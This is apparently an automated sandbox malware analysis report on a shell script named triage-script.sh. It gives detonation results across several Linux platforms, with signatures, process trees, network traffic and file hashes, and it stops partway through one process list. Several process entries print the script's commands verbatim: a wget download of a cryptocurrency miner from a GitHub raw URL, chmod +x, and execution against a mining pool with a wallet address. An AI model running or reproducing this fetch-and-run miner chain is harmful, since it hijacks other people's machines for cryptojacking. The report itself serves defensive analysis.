Malware Analysis Report

2024-10-16 05:31

Sample ID 240714-qrq75avcka
Target triage-script.sh
SHA256 d71c265c09d8c9c3bf749422bef66fa5efae4c81e516f370e5844e1b391ac27f
Tags
antivm
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

d71c265c09d8c9c3bf749422bef66fa5efae4c81e516f370e5844e1b391ac27f

Threat Level: Shows suspicious behavior

The file triage-script.sh was found to be: Shows suspicious behavior.

Malicious Activity Summary

antivm

Executes dropped EXE

Deletes log files

Write file to user bin folder

Checks mountinfo of local process

Legitimate hosting services abused for malware hosting/C2

Reads CPU attributes

Checks CPU configuration

Reads runtime system information

Writes file to tmp directory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-14 13:29

Signatures

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

debian9-armhf-20240611-en

Max time kernel

1s

Max time network

1679s

Command Line

[/tmp/triage-script.sh]

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/wget

[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]

/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
US 1.1.1.1:53 raw.githubusercontent.com udp
US 1.1.1.1:53 debian9-armhf-20240611-en-0 udp
US 1.1.1.1:53 debian9-armhf-20240611-en-0 udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

0s

Max time network

1680s

Command Line

[/tmp/triage-script.sh]

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/wget

[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]

/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 1.1.1.1:53 raw.githubusercontent.com udp
GB 185.125.188.62:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.193.91:443 tcp
US 151.101.193.91:443 tcp
GB 195.181.164.14:443 tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.48:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
GB 185.125.190.17:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.98:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.98:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.98:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
GB 185.125.190.97:80 connectivity-check.ubuntu.com tcp

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

ubuntu2204-amd64-20240522.1-en

Max time kernel

9s

Max time network

897s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /tmp/cc /tmp/cc N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/1561/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/1/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/apt-get N/A
File opened for reading /proc/1/limits /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/1585/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/1/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/1584/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/1/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/cc /usr/bin/wget N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/bin/wget

[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]

/usr/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 ubuntu2204-amd64-20240522.1-en-6 udp
US 8.8.8.8:53 ubuntu2204-amd64-20240522.1-en-6 udp
US 8.8.8.8:53 _http._tcp.se.archive.ubuntu.com udp
US 1.1.1.1:53 _http._tcp.se.archive.ubuntu.com udp
US 1.1.1.1:53 se.archive.ubuntu.com udp
US 1.1.1.1:53 se.archive.ubuntu.com udp
SE 194.71.11.163:80 se.archive.ubuntu.com tcp
US 1.1.1.1:53 _http._tcp.saimei.ftp.acc.umu.se udp
US 1.1.1.1:53 _http._tcp.security.ubuntu.com udp
US 1.1.1.1:53 saimei.ftp.acc.umu.se udp
US 1.1.1.1:53 saimei.ftp.acc.umu.se udp
US 1.1.1.1:53 security.ubuntu.com udp
US 1.1.1.1:53 security.ubuntu.com udp
US 91.189.91.82:80 security.ubuntu.com tcp
SE 194.71.11.138:80 saimei.ftp.acc.umu.se tcp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 185.199.110.133:443 raw.githubusercontent.com tcp
US 1.1.1.1:53 _http._tcp.security.ubuntu.com udp
US 1.1.1.1:53 _http._tcp.se.archive.ubuntu.com udp
US 1.1.1.1:53 security.ubuntu.com udp
US 1.1.1.1:53 security.ubuntu.com udp
SE 194.71.11.163:80 se.archive.ubuntu.com tcp
US 91.189.91.82:80 security.ubuntu.com tcp
US 1.1.1.1:53 _http._tcp.saimei.ftp.acc.umu.se udp
SE 194.71.11.138:80 saimei.ftp.acc.umu.se tcp

Files

/var/cache/apt/archives/partial/m4_1.4.18-5ubuntu2_amd64.deb

MD5 37ff1a23261e591841876b445fb64269
SHA1 7a851efc87635d8c691f3b5513c9b3c960c76f03
SHA256 572a544d2c18bf49d25c465720c570cd8e6e38731386ac9c0a7f29bed2486f3e
SHA512 93e92c12d65be24be49c20a004c8d6ce55ad5f9c788b6a8092808796c6c4670acdccd5b8591152967117647757fcdbf571ebadd1342ac9729ea88c8e625b61b6

/var/cache/apt/archives/partial/autoconf_2.71-2_all.deb

MD5 a5c1029062b287f8df7b37dc43c9264f
SHA1 f8eeb30ce97e0b41f14feb86bd0e02a600efcded
SHA256 96b528889794c4134015a63c75050f93d8aecdf5e3f2a20993c1433f4c61b80e
SHA512 c450fb56789f533ac939beeaf19019aeaee417bc8de4b3234b0ac4a3575f114d803046f0475264d70a7b724727d2be4a4ce49023f120086b179ebf4e123018e7

/var/cache/apt/archives/partial/autotools-dev_20220109.1_all.deb

MD5 554dc72dc46c7ebd3caf852031a94fe8
SHA1 2899e7c9989ee14a2be5a5a431a49498e1494084
SHA256 d909f0327b09d9a9136239caca975df89782fa28efd721c4eb4caea422d3fc5a
SHA512 b3add366e8549028f8de8c1c21796ff1ed8831e3432dedac73e795e021bcd23fb0c4e5fcbaf6f512b21b2f5d1c747bc7bccad1719a3255988ff2d7f5ce81f3d4

/var/cache/apt/archives/partial/automake_1%3a1.16.5-1.3_all.deb

MD5 eeea4b7cf5024babf73a4dd96a6f5790
SHA1 0950f7e15117bd6f7167b11bcd12801a98111fbf
SHA256 59e3890fc8407bcf8ccc9f709d6513156346d5c942e8c624dc90435e58f6f978
SHA512 078de0cb9f0393d8bdfa7d1b5db0eb718125e15a65bd6038866cb9f84b033440087cbcc8f773af2102a14c42dd71360b988986fbbc679bcabe1dfc1c66c5d931

/var/cache/apt/archives/partial/libcurl4-openssl-dev_7.81.0-1ubuntu1.16_amd64.deb

MD5 888058d6427ed97a3eccf59cb9867b2d
SHA1 66c360985b77680e27b1ed44ed7c9946b6f12211
SHA256 f74a1c1d0348601ad1baa8b32011f71f8e486099904492fe48e3fb3172c87c5e
SHA512 4e0f93a220de35ae77552057cc7922d5f454493060776afd61306ef735302dc725625c974f9c37e2e2f32d47e90d07e5652671e51fc43fd5b002c48524e65a74

/var/cache/apt/archives/partial/libjansson-dev_2.13.1-1.1build3_amd64.deb

MD5 48df7bbc36d5cb03b7352ffb938b01b7
SHA1 78d69ae257c47adba4ef33ed36d7ebb355df9de9
SHA256 d2cead9aa3c370c58a1c2ee68bdc56ab13dea7cc2e636d87da5e762410b4d238
SHA512 1dd5e3a2a15fe02219ba07009adf8b1b371b4ab03223d3381d9c26378d777b21f4cc8b65a408d0c85cfeb558685cd8a01c0884f677fe2eee4d03ba0c0054b18b

/var/cache/apt/archives/partial/libomp5-14_1%3a14.0.0-1ubuntu1.1_amd64.deb

MD5 43e99ed785c926bc2dd92553ddbc758b
SHA1 8d3db5fc8140ebbe7dfa7cd69008871564198e9f
SHA256 7b69ec021dd19555c16e250827f57be88381ff2fff9bdbd1b3a2d25d27558cea
SHA512 db068750b9367f361aa883f4412c0d02606838c5ef13aeec0935caf62ea8bbf590986971636fc369583af401ba8e8f250d1818a0c58a75593b6c214590c3432c

/var/cache/apt/archives/partial/libomp-14-dev_1%3a14.0.0-1ubuntu1.1_amd64.deb

MD5 151772c05a23abdbfabf36caec2970ed
SHA1 a012872cbe6b8b0eaf0fb116e7d7425aa5c6d2a6
SHA256 ce3d72f3d7c1b499b156303c8415e729fe027da7ab2f45653e92e3e64593c402
SHA512 7b4be36bcc7b6d140151c9f2e703efd5454b1356e8cf17552903ebbfb62bc57db974a3ca5de56a9a714396233a73b86aabf4dd8910abc6222c90a48e6860be29

/var/cache/apt/archives/partial/libomp-dev_1%3a14.0-55~exp2_amd64.deb

MD5 e36568cabd91924b5158979ddc670e12
SHA1 09ea25565a7d225432800404b1fae96c954f2fda
SHA256 445f75e6fd75fe5606e7a2855b8bf13ddb4301ae4ed6d364d30b5e403f86e634
SHA512 2a79b3a5ae5bf9ecf6a757588ab99086962053a46397318152fa59d039a761f7c09fc34c28608c682ea1bd01e68846916505349d6e6dc4469b49023c170c1df7

/var/cache/apt/archives/partial/libllvm14_1%3a14.0.0-1ubuntu1.1_amd64.deb

MD5 04f816be048abfc53e8ddce7179b329a
SHA1 646be437f934b568f42bf659df1bd86703295672
SHA256 9044b614a6c7fb6262e7cbeb13dc731fc0c92bed96281c1a3920dd706442ee8e
SHA512 412647a0187117f0764eec27e6668346421bbc8d3bac2591248b8c0cf062b0724ee833ea3d490d651b3d43362e758ca38bb24285d495592432a7d4d5c90df9ee

/tmp/cc

MD5 4011d473f6b06caa7f3d514e4eeb2184
SHA1 529bda4d64920cac51baa6b34b8bcabf19d97248
SHA256 bf7d1a01e88322991a824676601b46be7625b50a9d8ee8de085cc86ba76f7bc2
SHA512 45f9da5d9f43c1876fc3659a8e7e03b9d06ec83bf6c8d237daf3809cbec01a5c59688a1cf4780d695750fc42920428ff69545f5dce11b888418df919c3625f39

/root/.wget-hsts

MD5 d3910bf135453f7baab17993cce1d718
SHA1 7f61469bc496f2dc9fe2774c0043f645e5fb52f9
SHA256 5163cbeb1b257acd95768cb7a63acbc3230ab025e18b0c3292c4dacf4cb28094
SHA512 0a8a49ac97c9da42b4d3be9801b57fcad46342d4ae3a560cba89648c7e2c8098146a3dbe72adc6015143d3ef51add6beeae5ddbe90db096c355ffd294c8d07d9

Analysis: behavioral9

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

ubuntu2404-amd64-20240523-en

Max time kernel

52s

Max time network

89s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /var/lib/dpkg/tmp.ci/preinst /var/lib/dpkg/tmp.ci/preinst N/A
N/A /var/lib/dpkg/info/automake.postinst /var/lib/dpkg/info/automake.postinst N/A
N/A /tmp/cc /tmp/cc N/A

Checks mountinfo of local process

antivm
Description Indicator Process Target
File opened for reading /proc/1/mountinfo /usr/bin/ischroot N/A

Deletes log files

Description Indicator Process Target
File deleted /var/log/apt/eipp.log.xz /usr/bin/apt-get N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Write file to user bin folder

Description Indicator Process Target
File opened for modification /usr/bin/aclocal-1.16.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_restoreconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoreconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autom4te.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoscan.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/ifnames.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/automake-1.16.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/curl-config.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/openssl.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoheader.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoupdate.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_updateconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/c_rehash.dpkg-new /usr/bin/dpkg N/A

Reads CPU attributes

Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/possible /tmp/cc N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/filesystems /usr/bin/mkdir N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/1/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/sys/kernel/cap_last_cap /usr/bin/setpriv N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/1/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/mkdir N/A
File opened for reading /proc/2611/status /usr/bin/setpriv N/A
File opened for reading /proc/1/limits /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/apt-get N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/sys/kernel/cap_last_cap /usr/bin/sudo N/A
File opened for reading /proc/2460/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/sys/kernel/random/boot_id /usr/bin/setpriv N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/lib/apt/methods/http N/A
File opened for reading /proc/2459/cgroup /usr/lib/apt/methods/http N/A
File opened for reading /proc/filesystems /usr/bin/mkdir N/A
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/wget N/A
File opened for reading /proc/sys/crypto/fips_enabled /tmp/cc N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/self/loginuid /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /usr/bin/mkdir N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/seccomp/actions_avail /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/tar N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/setpriv N/A
File opened for reading /proc/self/mountinfo /usr/bin/ischroot N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/cc /usr/bin/wget N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/bin/ischroot

[/usr/bin/ischroot -t]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/bin/sh

[/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true]

/usr/sbin/dpkg-preconfigure

[/usr/sbin/dpkg-preconfigure --apt]

/usr/local/sbin/locale

[locale charmap]

/usr/local/bin/locale

[locale charmap]

/usr/sbin/locale

[locale charmap]

/usr/bin/locale

[locale charmap]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-multi-arch]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-protected-field]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 32 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/bin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/lib/needrestart/dpkg-status

[/usr/lib/needrestart/dpkg-status]

/usr/bin/mkdir

[mkdir -p /run/needrestart]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/touch

[touch /run/needrestart/unpacked]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl-dev_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /var/cache/apt/archives/libssl3t64_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 32 --no-triggers --configure libssl3t64:amd64]

/usr/sbin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/bin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/lib/needrestart/dpkg-status

[/usr/lib/needrestart/dpkg-status]

/usr/bin/mkdir

[mkdir -p /run/needrestart]

/usr/bin/touch

[touch /run/needrestart/unpacked]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 32 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-ZI4QGm]

/usr/sbin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/bin/sh

[sh -c -- (test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)]

/usr/lib/needrestart/dpkg-status

[/usr/lib/needrestart/dpkg-status]

/usr/bin/mkdir

[mkdir -p /run/needrestart]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f]

/usr/bin/tar

[tar -x -f]

/usr/bin/touch

[touch /run/needrestart/unpacked]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-ZI4QGm/0-openssl_3.0.13-0ubuntu3.1_amd64.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-ZI4QGm/1-autoconf_2.71-3_all.deb]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/2-autotools-dev_20220109.1_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-ZI4QGm/2-autotools-dev_20220109.1_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/2-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-ZI4QGm/2-autotools-dev_20220109.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-ZI4QGm/2-autotools-dev_20220109.1_all.deb]

/usr/bin/dpkg-deb

